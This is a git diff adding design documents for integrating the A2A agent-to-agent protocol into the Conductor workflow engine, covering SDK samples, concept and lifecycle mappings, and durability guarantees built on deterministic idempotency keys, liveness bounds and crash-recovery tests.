+- **`A2ACardResolver`** — fetches a remote agent's Agent Card from its well-known URL + (discovery). Still present in v1.0. +- **v1.0 client:** **`ClientFactory`** + **`ClientConfig`** → a transport-abstracted + **`Client`**, with interceptors (`AuthInterceptor`) and credential services. The old + single-transport **`A2AClient`** is no longer a top-level export (lives in the v0.3 compat + layer / older samples). + +> The JS SDK mirrors this exactly: `@a2a-js/sdk/server` exports `AgentExecutor`, +> `DefaultRequestHandler`, `InMemoryTaskStore`; the client uses `ClientFactory`. The shared +> shape — **AgentExecutor + RequestHandler + TaskStore** on the server, **ClientFactory + +> CardResolver** on the client — is the portable mental model. + +## 7.5 Samples (`a2aproject/a2a-samples`) + +Organized by language (`samples/{python,js,java,go,dotnet}`) plus a `demo/` web app. Python is +the richest set — one A2A server per agent, deliberately spanning many frameworks to prove +interoperability: + +- **Google ADK** — `adk_currency_agent`, `adk_expense_reimbursement` (multi-turn + webforms), + `adk_facts` (Google Search grounding), `content_planner`, `birthday_planner_adk` +- **LangGraph** — the canonical **currency-conversion** agent (tools, multi-turn, streaming) +- **CrewAI** — image-generation agent (sends images over A2A) +- **LlamaIndex** — `llama_index_file_chat` (file upload/parse + chat, streaming) +- **AG2** — MCP-enabled agent exposed via A2A +- **Semantic Kernel** — travel agent +- **Marvin** — structured contact extraction +- **MindsDB** — query any DB/warehouse +- **Framework-free / MCP** — `a2a_mcp`, `a2a-mcp-without-framework`, `a2a_telemetry` (OTel) +- **`helloworld`** — the echo-bot quickstart +- **Multi-agent** — `airbnb_planner_multiagent` (a host/routing agent orchestrating an Airbnb + agent + a weather agent over A2A) + +**Flagship demo (`demo/`):** a **Mesop** web app where a Google ADK **Host Agent** orchestrates +multiple **Remote Agents**. Each remote agent is an `A2AClient` inside an ADK agent that +fetches the remote Agent Card and proxies calls over A2A. Renders text, thought bubbles, web +forms, and images. + +JS samples: `coder`, `content-editor`, `movie-agent` (+ a `cli.ts`). Java: `agents`, +`custom_java_impl`, `koog`. Go: `client`/`server`/`models`. .NET: `BasicA2ADemo`, +`A2ACliDemo`, `A2ASemanticKernelDemo`. + +## 7.6 The purchasing-concierge use case (codelab) + +A end-to-end illustration of A2A's value (this lives in a **Google Cloud codelab**, not the +samples repo): + +**Scenario:** a user talks only to a single **Purchasing Concierge** agent to order food. The +concierge fulfills nothing itself — it **discovers and delegates** to independent seller agents. + +| Component | Role | Framework | Deployment | +|---|---|---|---| +| Purchasing Concierge | **A2A client** | Google **ADK** | Vertex AI Agent Engine | +| Burger Seller Agent | **A2A server** | **CrewAI** | Cloud Run | +| Pizza Seller Agent | **A2A server** | **LangGraph** | Cloud Run | + +``` +User → [Purchasing Concierge — A2A client / ADK] + ├── A2A ─► [Burger Agent — CrewAI] + └── A2A ─► [Pizza Agent — LangGraph] +``` + +**What it demonstrates:** +- **Discovery** — each seller publishes an Agent Card at its well-known path; the concierge + uses `A2ACardResolver` to fetch/parse cards at init. +- **Sending tasks** — the concierge sends user intent via `message/send` (`SendMessageRequest`) + with session context/metadata, holding a `RemoteAgentConnections` object per discovered agent. +- **Receiving artifacts** — sellers reply with `Artifact`s containing text `Part`s, which the + concierge surfaces to the user. + +The whole point is the **heterogeneous frameworks** (ADK ↔ CrewAI ↔ LangGraph) interoperating +purely through A2A — exactly the silo-breaking the protocol exists for. + +> Component/class names in the codelab (`AgentExecutor`, `DefaultRequestHandler`, +> `InMemoryTaskStore`, `A2AStarletteApplication`) are **v0.x-era** SDK names — see §7.4 for the +> v1.0 renames. + +## 7.7 Partners / adopters +`docs/partners.md` lists 100+ partners, each linking to their own A2A announcement. Beyond the +TSC companies (Google, Microsoft, AWS, Salesforce, ServiceNow, SAP, Cisco, IBM): Atlassian, +Box, Adobe, Autodesk, Bloomberg, Block, Boomi, Confluent, Datadog, DataRobot, DataStax, +Collibra, Cohere, AI21 Labs, Elastic, Glean, Harness, Deutsche Telekom, Alibaba Cloud, Auth0, +plus the major SIs (Accenture, Deloitte, Capgemini, Cognizant, HCLTech, EPAM, BCG, …). diff --git a/design/a2a/08-conductor-implications.md b/design/a2a/08-conductor-implications.md new file mode 100644 index 0000000..b019b52 --- /dev/null +++ b/design/a2a/08-conductor-implications.md @@ -0,0 +1,198 @@ +# 8. A2A and Conductor — Implications (Analysis) + +> **This doc is forward-looking analysis, not a description of existing functionality and not +> a committed design.** It maps A2A concepts onto Conductor to frame where the two could meet. +> Verified facts about this repo are cited; everything proposed is labeled as such. Validate +> against the codebase before building anything. + +## 8.1 Where Conductor already sits + +Conductor is a durable **workflow orchestration** engine: a workflow is a graph of **tasks**; +**workers** execute `SIMPLE` tasks; the engine runs **system tasks** (`HTTP`, `SUB_WORKFLOW`, +`FORK_JOIN`/`JOIN`, `DO_WHILE`, `SWITCH`, `WAIT`, `HUMAN`, `EVENT`, …) and persists every +execution. (Task types verified in `common/.../tasks/TaskType.java`.) + +The `ai/` module already makes Conductor an **agentic execution substrate**: +- **LLM tasks:** `LLM_CHAT_COMPLETE`, `LLM_TEXT_COMPLETE` +- **MCP (tool) integration:** `CALL_MCP_TOOL`, `LIST_MCP_TOOLS`, `MCP` +- **RAG / vector:** `LLM_GENERATE_EMBEDDINGS`, `LLM_GET_EMBEDDINGS`, `LLM_INDEX_TEXT`, + `LLM_STORE_EMBEDDINGS`, `LLM_SEARCH_EMBEDDINGS`, `LLM_SEARCH_INDEX` +- **Multimodal generation:** `GENERATE_IMAGE`, `GENERATE_AUDIO`, `GENERATE_VIDEO`, `GENERATE_PDF` +- **Multi-provider:** Anthropic, Gemini (GenAI + Vertex), Azure OpenAI, Bedrock, Cohere +- Conversation history handling (`GetConversationHistoryRequest`) + +(All verified by grepping `ai/src/main/java`.) + +**The takeaway:** Conductor already covers the **MCP half** of the picture from +[02-a2a-vs-mcp.md](02-a2a-vs-mcp.md) — an orchestrated agent *using tools*. What A2A adds is +the **peer half** — Conductor-built agents *partnering* with external agents, and external +clients treating Conductor workflows *as* agents. + +## 8.2 Conceptual mapping: A2A ↔ Conductor + +| A2A concept | Closest Conductor concept | Notes | +|---|---|---| +| Remote agent (A2A server) | A **workflow definition** exposed over an A2A endpoint | A workflow *is* a long-running, stateful capability | +| Agent Card | Workflow/task **metadata** (name, version, description, input/output schemas) | Skills ≈ registered workflows; would need an Agent Card renderer | +| Agent skill | A registered **workflow** (or task) | `id`/`name`/`description`/`tags` map to workflow metadata | +| A2A **Task** | A **workflow execution** | Both are stateful, durable, long-running, with history + outputs | +| `contextId` | `correlationId` (or a session id) | Groups related executions/turns | +| `Message` / `Part` | Workflow **input/output JSON**; `DataPart` ≈ a JSON payload; `FilePart` ≈ document storage refs | Conductor already has external payload storage for large blobs | +| `Artifact` | Workflow **output** / task output | A finished workflow's `output` ≈ an Artifact | +| `AgentExecutor.execute()` | A **worker** polling and completing a task | Both are "do the work, report status/results" | +| `TaskStore` | Conductor's **execution persistence** | The engine already durably stores executions | +| SSE streaming | (no native client-facing task stream) | Could be layered on existing status APIs | +| Push notifications | Workflow-status **webhooks / `EVENT` task / event handlers** | Conductor already emits lifecycle events | + +## 8.3 Two integration directions + +```mermaid +flowchart LR + ExtClient["External A2A client
    (ADK · CrewAI · LangGraph · another Conductor)"] + Remote["Remote A2A agent"] + subgraph C["Conductor"] + WF["Workflow execution
    (durable · resumable · observable)"] + end + ExtClient -->|"Direction A (server): message/send starts the workflow"| WF + WF -->|"Direction B (client): AGENT task sends message/send"| Remote +``` + +### Direction A — Conductor as an A2A **server** ("expose a workflow as an agent") + +Let external A2A clients discover and invoke a Conductor workflow as if it were an agent: + +1. **Serve an Agent Card** at `/.well-known/agent-card.json` derived from workflow metadata — + `skills[]` populated from registered workflows (name, version, description, tags; + input/output modes from schemas). +2. **`message/send` → start a workflow.** Map to the existing sync endpoint + `POST execute/{name}/{version}` (verified in `WorkflowResource.java:99`) for short tasks, or + the async start for long ones. Return an A2A `Task` whose `id` is the Conductor workflow id. +3. **`tasks/get` → poll execution status**, returning A2A status + artifacts built from + workflow output. +4. **`tasks/cancel` → terminate the workflow.** +5. **Streaming / push** → bridge Conductor's workflow lifecycle events to SSE / webhooks. + +This is attractive because a Conductor workflow is *natively* the kind of durable, long-running, +human-in-the-loop task A2A's lifecycle was designed for. + +```mermaid +sequenceDiagram + autonumber + participant Client as External A2A client + participant A as Conductor A2A server + participant E as Conductor engine + Client->>A: GET …/.well-known/agent-card.json + A-->>Client: Agent Card (one skill = the workflow) + Client->>A: message/send + A->>E: startWorkflow (idempotencyKey = A2A messageId) + E-->>A: workflowId + A-->>Client: Task { id = workflowId, state: working } + loop tasks/get until terminal + Client->>A: tasks/get + A->>E: getExecutionStatus + E-->>A: RUNNING → COMPLETED + A-->>Client: Task { state, artifacts } + end + note over Client,E: blocked on HUMAN/WAIT → input-required;
    a follow-up message/send resumes the same execution +``` + +### Direction B — Conductor as an A2A **client** ("call a remote agent from a workflow") + +A new system task — call it **`AGENT`** (proposed name) — directly analogous to the +existing `CALL_MCP_TOOL`: + +1. Task input: a remote Agent Card URL (or pre-resolved card) + the `Message`/payload to send. +2. The task resolves the card (discovery), picks a transport, and calls `message/send`. +3. For long-running remote work, the Conductor task goes **`IN_PROGRESS`** and either polls + `tasks/get` (via `callbackAfterSeconds`) or completes on a push webhook — reusing Conductor's + existing async-task machinery. +4. On the remote A2A task reaching a terminal state, the Conductor task records the + `Artifact`(s) as its output and transitions accordingly (§8.4). + +This turns any A2A-speaking agent (built on ADK, CrewAI, LangGraph, …) into a first-class step +in a Conductor workflow — multi-agent orchestration with Conductor as the durable coordinator. + +```mermaid +sequenceDiagram + autonumber + participant WF as Conductor workflow + participant T as AGENT task + participant R as Remote A2A agent + WF->>T: schedule { agentUrl, message } + T->>R: message/send (idempotencyKey = deterministic messageId) + R-->>T: Task { state: working } + alt poll (default) / push backstop + loop until terminal or input-required + T->>R: tasks/get + R-->>T: Task { working → completed } + end + else streaming + R-->>T: SSE status-update / artifact-update … + end + T-->>WF: artifacts + state as task output +``` + +## 8.4 Lifecycle mapping (the crux) + +A2A's `TaskState` and Conductor's status enums (both verified) line up cleanly. For **Direction +B** (a `AGENT` task wrapping a remote A2A task), map the remote A2A state onto the +Conductor *task* status: + +| A2A `TaskState` | Conductor `Task.Status` | Handling | +|---|---|---| +| `submitted`, `working` | `IN_PROGRESS` | async task; poll `tasks/get` or await webhook | +| `input-required` | **`COMPLETED`** (with `state="input-required"` in output) | The Conductor task completes so the workflow can branch via `SWITCH` on `output.state`. The `taskId` and `contextId` are surfaced in output so a subsequent `AGENT` step can continue the conversation. Setting `IN_PROGRESS` here would cause the engine to spin-poll `tasks/get` indefinitely — the remote agent is waiting for a new message, so no poll will ever self-resolve. | +| `auth-required` | **`COMPLETED`** (with `state="auth-required"` in output) | Same rationale as `input-required`. The workflow routes to credential-gathering logic, then issues a new `AGENT` with the same `taskId`/`contextId`. | +| `completed` | `COMPLETED` | store `Artifact`s as task output | +| `failed` | `FAILED` | propagate error | +| `rejected` | `FAILED` | agent declined | +| `canceled` | `CANCELED` | | + +For **Direction A** (a workflow execution exposed as an A2A task), map the Conductor +*workflow* status onto A2A `TaskState`: + +| Conductor `WorkflowStatus` | A2A `TaskState` | Notes | +|---|---|---| +| `RUNNING` | `working` (or `submitted` before first task) | | +| `RUNNING` blocked on `WAIT`/`HUMAN` | `input-required` | Conductor has no distinct "waiting" status; it's `RUNNING` with a blocking task | +| `COMPLETED` | `completed` | workflow `output` → `Artifact`(s) | +| `FAILED` / `TIMED_OUT` | `failed` | | +| `TERMINATED` | `canceled` | | +| `PAUSED` | (no clean A2A analog) | `PAUSED` is an admin/operator pause, **not** the same as `input-required` — don't conflate | + +> Two mismatches worth flagging: +> - A2A's `input-required`/`auth-required` are **resumable, in-flight** states. Conductor models +> "blocked, waiting for a signal" as a `RUNNING` workflow sitting on a `WAIT`/`HUMAN` task, not +> as a workflow status. The bridge must translate "blocked-on-WAIT" ↔ `input-required`. +> - Conductor's `PAUSED` is operator-initiated and does **not** map to any A2A state. + +## 8.5 Why this is a natural fit + +- **Durability & long-running tasks** are A2A's hardest requirements and Conductor's core + competency — persistent state, retries, timeouts, human-in-the-loop (`HUMAN` task), resumable + executions. A2A's `Task` lifecycle is almost a subset of what Conductor already guarantees. +- **The MCP precedent exists.** `CALL_MCP_TOOL` shows the pattern for a system task that speaks + an external agent protocol; `AGENT` would mirror it for A2A. +- **Eventing exists.** Conductor already emits workflow lifecycle events and supports webhooks + / `EVENT` tasks — the substrate for A2A push notifications. +- **Multi-agent orchestration is the differentiator.** A2A standardizes *talking* to agents; + Conductor adds *durable, observable, retryable orchestration* across many of them — the + purchasing-concierge pattern ([07](07-ecosystem-and-samples.md)) but with a real execution + engine underneath instead of an in-memory host. + +## 8.6 Open questions / things to verify before building +- **Transport choice:** start with JSON-RPC over HTTP (least friction, default); gRPC later. +- **Version target:** v0.3.x for interop breadth vs v1.0 for current SDKs (see + [06-versioning.md](06-versioning.md)). The Java SDK (`a2aproject/a2a-java`) could back + Direction A/B rather than hand-rolling the protocol. +- **Identity propagation:** A2A puts identity in **HTTP headers, not the payload** + ([05](05-security.md)) — confirm how that threads through Conductor's auth and into worker + context. +- **Artifact ↔ payload storage:** map A2A `FilePart`/large `DataPart` onto Conductor's external + payload storage. +- **`input-required` round-trips:** design how a remote agent's mid-task question surfaces to a + Conductor workflow and how the answer is sent back with the same `taskId`. +- **Streaming:** whether to expose SSE at all for Direction A, or rely on polling + webhooks. + +> None of the above is implemented today. It is a map of the territory, drawn so that if/when +> Conductor takes on A2A, the protocol's concepts already have homes in the engine. diff --git a/design/a2a/09-durable-a2a.md b/design/a2a/09-durable-a2a.md new file mode 100644 index 0000000..b0badbd --- /dev/null +++ b/design/a2a/09-durable-a2a.md @@ -0,0 +1,277 @@ +# 9. Durable A2A — What the Claim Means, and How We Make It Hold + +> **Status:** **implemented** (Direction B — the A2A client). This doc defines what "durable +> A2A" must mean for the claim to be defensible, and the durability mechanisms it describes are +> now in the code and validated by `ai/src/test/.../a2a/A2ADurabilityTest.java`. Property status +> tags: **HOLDS** = satisfied & tested; **PARTIAL** = satisfied with a documented caveat; +> **GAP** = not yet addressed. (Earlier revisions of this doc used these tags to flag the work; +> they now reflect shipped state.) + +## 9.1 The claim, stated precisely + +> **Durable A2A:** once a Conductor workflow initiates an A2A interaction with a remote agent, +> that interaction is guaranteed to run to a **terminal outcome** (completed, failed, canceled, +> or a clean input/auth hand-off) **despite crashes or restarts of the Conductor server, loss of +> the worker, network partitions, and transient failure or slowness of the remote agent** — +> **without losing the conversation, without hanging forever, and without duplicating +> irreversible agent-side actions** beyond what at-least-once delivery plus an idempotency key +> can prevent. + +Three load-bearing words: **guaranteed**, **terminal**, **without losing/hanging/duplicating**. +Every one of them is a testable obligation, enumerated in §9.7. If any fails, we don't get to +say "durable." + +A claim "holds" when it is (1) precisely scoped, (2) backed by a mechanism, and (3) proven by a +test that injects the failure. §9.8 is explicit about the **boundary of the promise** — the +honest line past which no client can go — because a claim that overreaches doesn't hold, it just +hasn't been caught yet. + +## 9.2 Why this is a real differentiator, not marketing + +A2A itself is a thin, mostly stateless request/response protocol over HTTP. **Durability is not +a protocol feature — it is a property of the implementation that orchestrates the interaction +lifecycle across failures.** The reference A2A hosts (the ADK/CrewAI/LangGraph samples, the +purchasing-concierge demo) orchestrate from an **in-memory** host process: if that process +crashes mid-order, the order — and the agent conversation behind it — is gone. There is no +resume. + +Conductor is a durable execution engine. By implementing A2A as **native system tasks driven by +the durable task queue and persisted execution store**, the orchestration of every A2A +interaction inherits crash-safety, automatic resumption, at-least-once execution, bounded +retries, and full execution visibility. That is the entire story in one line: + +> **The same purchasing-concierge demo, run on Conductor, survives a server restart mid-order. +> The in-memory host does not. That difference is "durable A2A."** + +This positioning holds in **both** directions of [08-conductor-implications.md](08-conductor-implications.md): +- **Direction B (client — what we built):** an `AGENT` step is a durable unit of work that + drives a remote agent to completion across failures. This doc is about Direction B. +- **Direction A (server — future):** when a Conductor workflow is *exposed* as an A2A agent, the + agent's task **is** a durable workflow execution. Durability is native, not bolted on. Noted + here only to show the positioning is coherent end-to-end. + +## 9.3 What "durable" decomposes into + +Eight properties. Each guards a specific failure mode. For each: what Conductor gives us for +free, and the current status of the A2A code. + +| # | Property | Guards against | Inherited from Conductor | A2A status | +|---|---|---|---|---| +| P1 | **Crash-safe persistence & resumption** | server restart / redeploy mid-interaction | Persistent execution store; durable decider queue; IN_PROGRESS system tasks re-evaluated on a new instance | **HOLDS** — resume state in task output; proven by T1 | +| P2 | **Guaranteed progress to terminal** (liveness) | agent down/silent forever; lost webhook | `timeoutSeconds` / `responseTimeoutSeconds` *when set* | **HOLDS** — absolute deadline + consecutive-failure cap in `execute()`; push backstop poll; proven by T4a/T4b/T5 | +| P3 | **Effectively-once side effects** | double-send after crash between send and persist | at-least-once + retry (the hazard, not the cure) | **HOLDS** (for cooperating agents) — deterministic, restart-stable `messageId` idempotency key; proven by T2/T3; boundary in §9.8 | +| P4 | **At-least-once execution + bounded retry w/ backoff** | transient network/5xx/429 | task retry (3×, linear backoff); HTTP RetryInterceptor; 429 `Retry-After` | **HOLDS** | +| P5 | **Idempotent, replay-safe callbacks** | duplicate / replayed push webhooks | — (our code) | **HOLDS** — IN_PROGRESS status-guard + constant-time token compare + token expiry; concurrent-callback race settled by the engine rejecting `updateTask` on a terminal task | +| P6 | **Durable multi-turn continuity** | losing the conversation across turns | persistent workflow variables | **HOLDS** (contextId/taskId surfaced in output, threaded by the workflow) | +| P7 | **Observability of in-flight state** | "is it stuck or working?" | task status, execution history, UI, metrics | **HOLDS** — `state`/`taskId`/`contextId` + `a2aStartedAt`/`a2aPollFailures` in output; Micrometer counters via the shared `Monitors` registry (`a2a_client_calls`, `a2a_client_poll_failures`, `a2a_rpc_errors`, `a2a_ssrf_blocked`, `a2a_server_requests`, `a2a_server_resumes`); MDC correlation keys (`a2aWorkflowId`/`a2aTaskId`/`a2aRemoteTaskId`/`a2aContextId`/…); structured warn logs | +| P8 | **Durable secrets at rest** | auth headers persisted in plaintext | Conductor secret references / external payload storage | **PARTIAL** — no header logging; **use `${workflow.secrets...}` / Conductor secrets for auth headers** rather than inline cleartext (usage guidance, not enforced) | + +The honest headline: every property now **HOLDS** except P8, which is a usage-guidance item +(don't put raw credentials in task input — reference Conductor secrets). The two that were the +real work — P2 (liveness) and P3 (idempotency) — are closed and tested. + +## 9.4 The hard one: exactly-once and the dual-write problem (P3) + +This is where most "durable" claims quietly fail, so it gets its own section. + +`message/send` is **not idempotent** in general — it can make the agent take an irreversible +action (charge a card, send an email, book a flight). The durable-execution hazard is the gap +between **performing the side effect** and **durably recording that we performed it**: + +``` +AgentTask.start(): + 1. build message (messageId) + 2. a2aService.sendMessage(...) ← agent may now START IRREVERSIBLE WORK + 3. task.addOutput(taskId); IN_PROGRESS + ── return to engine ── + 4. executionDAOFacade.updateTask() ← FIRST durable record of step 2 +``` + +If the server crashes **between 2 and 4**, the agent has acted but Conductor has no record. The +task is still `SCHEDULED` in the store; the durable queue redelivers it (unack timeout); a worker +runs `start()` **again**. Today step 1 generates a **fresh random `messageId`** (`UUID.randomUUID()` +in `AgentTask.buildMessage`), so the re-send looks like a brand-new message → the agent does +the work **twice**. + +You cannot eliminate this window from the client side alone — it is the same impossibility as +exactly-once delivery. What you *can* do is the industry-standard pattern (Stripe idempotency +keys, Temporal deterministic ids): **make the request carry a stable idempotency key so the +receiver can dedupe**, and make at-least-once + dedupe = effectively-once. + +### The key insight: a deterministic, restart-stable `messageId` + +The `messageId` must be: +- **identical across retries and restarts** of the same logical call (so a re-send is recognized + as the same message), and +- **distinct per logical invocation** (so a different loop iteration is a genuinely new message). + +Conductor's `TaskModel` gives us exactly the right stable identity (verified — all fields exist): + +``` +messageId = "a2a-" + sha256(workflowInstanceId + ":" + referenceTaskName + ":" + iteration) +``` + +- **Stable across retries:** Conductor task retry creates a *new* `taskId` but reuses the same + `referenceTaskName` and `iteration` → same key. (Basing the key on `taskId` would be wrong — + it changes per retry.) +- **Stable across restarts:** all three inputs are persisted before `start()` runs. +- **Unique per `DO_WHILE` iteration:** `iteration` differs → new key, as it should. +- **User-overridable:** if the caller sets `message.messageId`, honor it. + +This turns the deterministic id into a true idempotency key. Combined with at-least-once delivery, +an A2A agent that dedupes on `messageId` gets **effectively-once**. + +### The honest contract (this is what makes the claim hold) + +A2A does **not** mandate that agents dedupe on `messageId`. So the precise, defensible promise is: + +> Conductor guarantees a **stable idempotency key** and **at-least-once delivery** with a small, +> bounded duplication window. For agents that honor the key, the effect is **exactly-once**. For +> agents that do not, duplicates are minimized but not eliminated — because the side effect lives +> at the agent, true exactly-once is the agent's responsibility, as it must be in any distributed +> system. + +Overstating this (claiming unconditional exactly-once) is exactly how the claim *fails to hold*. +Stating the boundary is how it holds. + +### Optional hardening: recovery-by-query (capability-gated) + +For agents on A2A **v1.0** that support `tasks/list` with a `contextId` filter, we can close the +window further: default `contextId = workflowInstanceId`-derived, and on a re-run of `start()`, +**query for an existing task in this context before re-sending**; if found, resume it instead of +re-sending. This is an enhancement (v1.0 + agent support required), not the baseline. The baseline +is the deterministic `messageId`. + +## 9.5 Failure-mode catalog + +The matrix the claim must survive. "Today" = current code; "Target" = with §9.6 changes. + +| Failure | Today | Target | +|---|---|---| +| Crash **before** send | task still SCHEDULED → re-run `start()` → sends once. ✅ | unchanged ✅ | +| Crash **after** send, **before** persist | re-run `start()` → **re-sends with new random id** → possible double-action ❌ | re-send with **same deterministic `messageId`** → agent dedupes (effectively-once) ✅ | +| Crash **during poll** (IN_PROGRESS) | engine re-evaluates; `execute()` re-reads `taskId` from output, resumes polling ✅ | unchanged ✅ + persisted attempt counter survives | +| Crash **during streaming** | in-memory aggregation lost; re-run re-streams from scratch ❌ (best-effort) | document as best-effort; **degrade to poll** on disconnect; deterministic id limits duplication ✅ | +| Agent **down** while polling | `execute()` swallows error, returns false, **polls forever** (no effective timeout) ❌ | bounded: **max consecutive transient failures** → terminal `FAILED`; total **deadline** ✅ | +| Agent **slow** (valid, long) | keeps polling — correct ✅ | unchanged; covered by configurable deadline, not response-timeout ✅ | +| **Push webhook never arrives** (agent died / URL unreachable) | `isAsyncComplete` task waits **forever** (no poll, no default timeout) ❌ | **backstop poll** at a slow interval and/or mandatory deadline ✅ | +| **Duplicate push** callback | status-guard makes 2nd a no-op ✅; concurrent pair races on `updateTask` ⚠️ | guard + rely on engine's terminal-state rejection; document ✅ | +| **Replayed** push token | constant-time compare + 24h expiry ✅ | unchanged ✅ | +| Network **partition** mid-call | `A2AException` (retryable) → task retried; **re-send hazard** as above ❌→ | deterministic id makes retry safe ✅ | +| Poison agent (always 4xx) | `NonRetryableException` → `FAILED_WITH_TERMINAL_ERROR`, no retry ✅ | unchanged ✅ | + +## 9.6 Proposed changes (concrete) + +Ordered by importance to the claim. + +**C1 — Deterministic `messageId` (closes P3). ✅ SHIPPED.** +`AgentTask.buildMessage`, when the caller hasn't supplied one, derives +`messageId = "a2a-" + workflowInstanceId + ":" + referenceTaskName + ":" + iteration` instead of +`UUID.randomUUID()`. (Readable concatenation rather than a hash — the value is an opaque string; +debuggability wins and uniqueness/stability are what matter.) Stable across retries/restarts, +unique per iteration. The single highest-value change. + +**C2 — Liveness guards so nothing hangs (closes P2).** +- Track a **consecutive-transient-failure counter** in task output (e.g. `a2aPollFailures`). + In `execute()`, increment on a transient poll error, reset on success; after `maxPollFailures` + (default e.g. 10) → terminal `FAILED` with a clear reason instead of polling forever. +- Enforce a **deadline**: record the start time in output; if `now - start > maxDurationSeconds` + (configurable; sensible default tied to the push-token TTL, e.g. 24h) → terminal `FAILED` + ("A2A agent did not reach a terminal state within the deadline"). Do **not** rely on + `responseTimeoutSeconds` — each poll's `updateTask` resets it, so it never fires for a + polling task (verified). +- Have `AgentTaskMapper` default `timeoutSeconds`/`timeoutPolicy` to a finite, overridable + value rather than 0 (unbounded), as a backstop independent of our own deadline logic. + +**C3 — Durable push: backstop poll (closes the push hole in P2).** +Pure push (`isAsyncComplete=true`, no polling) hangs forever if the webhook is lost. For the +durable posture, push mode should **also poll at a slow backstop interval** (e.g. every few +minutes) so the task still completes if the callback never arrives — the webhook just makes it +faster. This means *not* setting `isAsyncComplete`, and instead returning a large +`getEvaluationOffset` while the push config is registered. Net: ~one backstop poll per N minutes +vs ~one per few seconds for pure polling — the efficiency win of push, without the liveness risk. +(Keep pure-push available as an explicit opt-in for users who accept the deadline as the only +backstop.) + +**C4 — Default `contextId = workflowInstanceId`. ❌ DROPPED (spec-correctness).** On reflection +this is spec-questionable: A2A `contextId` is **server-generated** — the agent assigns it on the +first response. A client pre-assigning a `contextId` on a *new* conversation can confuse strict +agents. The durability mechanism (P3) is the deterministic **`messageId`**, which needs no +client-chosen `contextId`. We keep the spec-correct flow: the agent generates `contextId`, we +capture it in output, the workflow threads it into the next turn. (The recovery-by-query +enhancement in §9.4 remains a v1.0-only optional follow-up.) + +**C5 — Streaming honesty + degrade-to-poll. ✅ SHIPPED.** Documented as **best-effort, not durable** +(in-memory aggregation is lost on crash). A stream that drops *after* yielding a `taskId` +degrades to `tasks/get` polling automatically (the aggregated non-terminal task → IN_PROGRESS → +`execute()` polls). A stream that yields **nothing** is treated as transient and retried (no +false COMPLETE). Durability-sensitive users should prefer poll/push. + +**C6 — Secrets at rest (P8). ◐ PARTIAL (guidance).** No header values are logged. The remaining +item is usage guidance — auth headers in task input are persisted; reference Conductor +**secrets** / `${workflow.secrets...}` rather than inline cleartext. Not mechanically enforced. + +**C7 — Callback idempotency + observability (P5/P7). ✅ SHIPPED.** IN_PROGRESS status-guard kept; +the engine rejecting `updateTask` on an already-terminal task settles the concurrent-callback +race. Counters (`a2aStartedAt`, `a2aPollFailures`) surfaced in output; structured warn logs on +transient poll failures with the failure count and bound. + +## 9.7 Proof obligations — the claim holds only if these pass + +Each maps to a property and must be an automated test that **injects the failure**. + +Each maps to a property and an automated test that **injects the failure**. All green. + +| Test | Proves | Where | Status | +|---|---|---|---| +| **T1 crash-recovery** | P1 | `A2ADurabilityTest.t1_crashRecovery_resumesOnAFreshInstance` (fresh `A2AService`+`AgentTask` resume the persisted `TaskModel`) **and** `t1b_crashRecovery_survivesPersistenceRoundTrip` (the durable task state is serialized to JSON — as the execution DAO stores it — and a **cold** `TaskModel` reconstructed from that JSON alone resumes to completion) | ✅ | +| **T2 idempotency key** | P3 | `t2_messageId_isStableAcrossRetries` — two attempts with the same `(workflowId, ref, iteration)` but different `taskId` send an **identical `messageId`** (+ `t2_callerCanOverrideMessageId`) | ✅ | +| **T3 distinct per iteration** | P3 | `t3_messageId_distinctPerIteration` — different iteration → different `messageId` | ✅ | +| **T4 liveness / dead agent** | P2 | `t4_deadAgent_failsWithinFailureCap` (failure cap) + `t4_deadline_failsTerminally` (absolute deadline) → terminal `FAILED`, not infinite polling | ✅ | +| **T5 push backstop** | P2 | `t5_pushBackstop_completesWithoutWebhook` — push mode, no webhook ever fires; backstop poll completes it; offset confirmed slow | ✅ | +| **T6 duplicate / expired callback** | P5 | `A2ACallbackResourceTest` — 2nd push is a no-op; expired & mismatched tokens rejected | ✅ | +| **T7 retry safety** | P3/P4 | folded into T2 (a Conductor retry is a new `taskId`, same identity → same `messageId`) | ✅ | + +Why these prove crash-recovery without an OS-level kill: the engine's `AsyncSystemTaskExecutor` +**reloads the `TaskModel` from the persistence store on every execution cycle** (`loadTaskQuietly` +→ `getTaskModel(taskId)`) — it holds no in-memory state between cycles. So "a restarted worker +re-drives the task" is operationally identical to "T1b reconstructs a cold `TaskModel` from the +persisted JSON and a fresh `AgentTask` resumes it." T1b exercises exactly that data boundary in +CI. + +**Full-process proof (demonstrated).** The OS-level version now exists as a runnable demo — +`ai/src/test/resources/a2a/durable-demo/run-durable-demo.sh`: it starts a real persistent +(SQLite) Conductor + a remote A2A agent, places an order via a `AGENT` workflow, **`kill -9`s +the server mid-order**, restarts it on the same store, and the order resumes and completes. Verified +output: `workflow status: COMPLETED — receipt: Order ORD-… confirmed`. This is the genuine +crash-survival proof (real process kill, real persistence, real resume). It uses the +`conductor.a2a.client.allow-private-network` opt-in (the SSRF guard blocks loopback/private agent +URLs by default; the flag is also a legitimate feature for agents on a trusted private network). A +CI-automated `test-harness` variant (cf. `AIReasoningEndToEndTest`) remains a nice-to-have. + +## 9.8 The boundary of the promise (so the claim doesn't overreach) + +What durable A2A on Conductor **does** guarantee: +- The interaction survives Conductor crashes/restarts and resumes automatically (P1). +- It always reaches a terminal state within a bounded time — it never hangs forever (P2). +- It is retried safely with a stable idempotency key; agents that dedupe get exactly-once (P3/P4). +- The conversation and its context persist across turns and failures (P6). +- Operators can see and reason about in-flight state (P7). + +What it **cannot** guarantee, and why that's fine: +- **Unconditional exactly-once side effects at the agent.** Impossible for any client when the + side effect is remote and the agent doesn't dedupe — this is the at-least-once-vs-exactly-once + theorem, not a Conductor limitation. We provide the idempotency key; the agent must honor it. +- **Durability of an in-flight SSE stream's partial output.** Streaming trades durability for + latency by design; poll/push are the durable paths. +- **Recovery of work an agent did but never reported and cannot be re-queried.** Mitigated by the + deterministic key and (on v1.0) recovery-by-query, but bounded by what the agent exposes. + +Stating these is not weakness — it is precisely what lets "durable A2A" be a claim that **holds** +under scrutiny rather than a slogan that fails on the first incident review. + +## 9.9 One-line positioning + +> **Durable A2A:** every agent interaction is a crash-safe, automatically-resumed, idempotently-keyed +> unit of durable work that is guaranteed to reach a terminal outcome — because Conductor runs it, +> not an in-memory host loop. diff --git a/design/a2a/10-a2a-server.md b/design/a2a/10-a2a-server.md new file mode 100644 index 0000000..0f6c062 --- /dev/null +++ b/design/a2a/10-a2a-server.md @@ -0,0 +1,141 @@ +# 10. A2A Server — Conductor Workflows as A2A Agents 